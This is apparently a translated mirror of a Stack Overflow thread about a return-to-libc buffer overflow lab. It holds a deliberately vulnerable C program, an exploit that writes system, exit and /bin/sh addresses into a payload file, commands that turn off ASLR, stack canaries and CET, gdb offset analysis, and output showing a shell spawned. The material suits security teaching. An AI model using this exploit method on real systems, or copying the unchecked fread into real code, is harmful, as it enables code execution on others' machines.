簡體   English   中英

返回 libc 緩沖區溢出攻擊

[英]Return to libc buffer overflow attack

我試圖返回 libc 緩沖區溢出。 我找到了 system、exit 和 /bin/sh 的所有地址,我不知道為什么,但是當我嘗試運行易受攻擊的程序時沒有任何反應。 系統,退出地址/bin/sh 地址

易受攻擊的程序:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#ifndef BUF_SIZE
#define BUF_SIZE 12
#endif

int bof(FILE* badfile)
{
    char buffer[BUF_SIZE];

    fread(buffer, sizeof(char), 300, badfile);

    return 1;
}


int main(int argc, char** argv)
{
    FILE* badfile;

    char dummy[BUF_SIZE * 5];

    badfile = fopen("badfile", "r");
    bof(badfile);

    printf("Return properly.\n");

    fclose(badfile);

    return 1;
}

利用程序:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char** argv)
{
    char buf[40];
    FILE* badfile;

    badfile = fopen("./badfile", "w");

    *(long *) &buf[24] = 0xbffffe1e; // /bin/sh
    *(long *) &buf[20] = 0xb7e369d0; // exit
    *(long *) &buf[16] = 0xb7e42da0; // system

    fwrite(buf, sizeof(buf), 1, badfile);
    fclose(badfile);

    return 1;
}

這是我用來查找 MYSHELL 地址的程序(用於 /bin/sh)

#include <stdio.h>

void main()
{
    char* shell = getenv("MYSHELL");
    if(shell)
        printf("%x\n", (unsigned int) shell);
}

終端:運行 retlib 后的終端圖像

首先,可以部署許多緩解措施來防止這種攻擊。 您需要禁用每個:

  • ASLR :您已經使用sudo sysctl -w kernel.randomize_va_space=0禁用。 但更好的選擇是僅對一個 shell 及其子級禁用它: setarch $(uname -m) -R /bin/bash
  • 堆棧保護器:編譯器可以在緩沖區和堆棧上的返回地址之間放置堆棧金絲雀,在執行緩沖區寫入操作之前向其中寫入一個值,然后在返回之前,驗證它沒有被緩沖區寫入更改手術。 這可以使用-fno-stack-protector禁用。
  • Shadow stack : Newer processors might have a shadow stack feature (Intel CET) that when calling a function, stashes a copy of the return address away from the writable memory, which is checked against the return address when returning from the current function. 可以使用-fcf-protection=none禁用此(以及其他一些 CET 保護)。

問題沒有提到它,但代碼中使用的地址(以及long的使用)表明目標是 32 位系統。 如果使用的系統是 64 位,則需要在編譯器標志中添加-m32

gcc -fno-stack-protector -fcf-protection=none -m32 vulnerable.c

當從一個二進制文件確定環境變量地址並在另一個二進制文件中使用它時,它們的環境變量和來自 shell 的調用是相同的(至少在長度上)是非常重要的。 如果一個作為a.out執行,另一個也應該作為a.out執行。 在不同的路徑中,具有不同的argv將移動環境變量。

或者,您可以從易受攻擊的二進制文件中打印環境變量的地址。

通過查看bof function的反匯編,可以確定緩沖區與返回地址的距離:

(gdb) disassemble bof 
Dump of assembler code for function bof:
   0x565561dd <+0>:     push   %ebp
   0x565561de <+1>:     mov    %esp,%ebp
   0x565561e0 <+3>:     push   %ebx
   0x565561e1 <+4>:     sub    $0x14,%esp
   0x565561e4 <+7>:     call   0x56556286 <__x86.get_pc_thunk.ax>
   0x565561e9 <+12>:    add    $0x2de3,%eax
   0x565561ee <+17>:    pushl  0x8(%ebp)
   0x565561f1 <+20>:    push   $0x12c
   0x565561f6 <+25>:    push   $0x1
   0x565561f8 <+27>:    lea    -0x14(%ebp),%edx
   0x565561fb <+30>:    push   %edx
   0x565561fc <+31>:    mov    %eax,%ebx
   0x565561fe <+33>:    call   0x56556050 <fread@plt>
   0x56556203 <+38>:    add    $0x10,%esp
   0x56556206 <+41>:    mov    $0x1,%eax
   0x5655620b <+46>:    mov    -0x4(%ebp),%ebx
   0x5655620e <+49>:    leave  
   0x5655620f <+50>:    ret    
End of assembler dump.

請注意, -0x14(%ebp)用作fread的第一個參數,這是將溢出的buffer 另請注意, ebp是在第一條指令中推入ebp之后esp的值。 因此, ebp指向保存的ebp ,后面是返回地址。 這意味着從緩沖區開始,保存的ebp距離為 20 個字節,返回地址距離為 24 個字節。

    *(long *) &buf[32] = ...; // /bin/sh
    *(long *) &buf[28] = ...; // exit
    *(long *) &buf[24] = ...; // system

通過這些更改,shell 由易受攻擊的二進制文件執行:

$ ps
    PID TTY          TIME CMD
1664961 pts/1    00:00:00 bash
1706389 pts/1    00:00:00 bash
1709328 pts/1    00:00:00 ps
$ ./a.out 
$ ps
    PID TTY          TIME CMD
1664961 pts/1    00:00:00 bash
1706389 pts/1    00:00:00 bash
1709329 pts/1    00:00:00 a.out
1709330 pts/1    00:00:00 sh
1709331 pts/1    00:00:00 sh
1709332 pts/1    00:00:00 ps
$ 

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM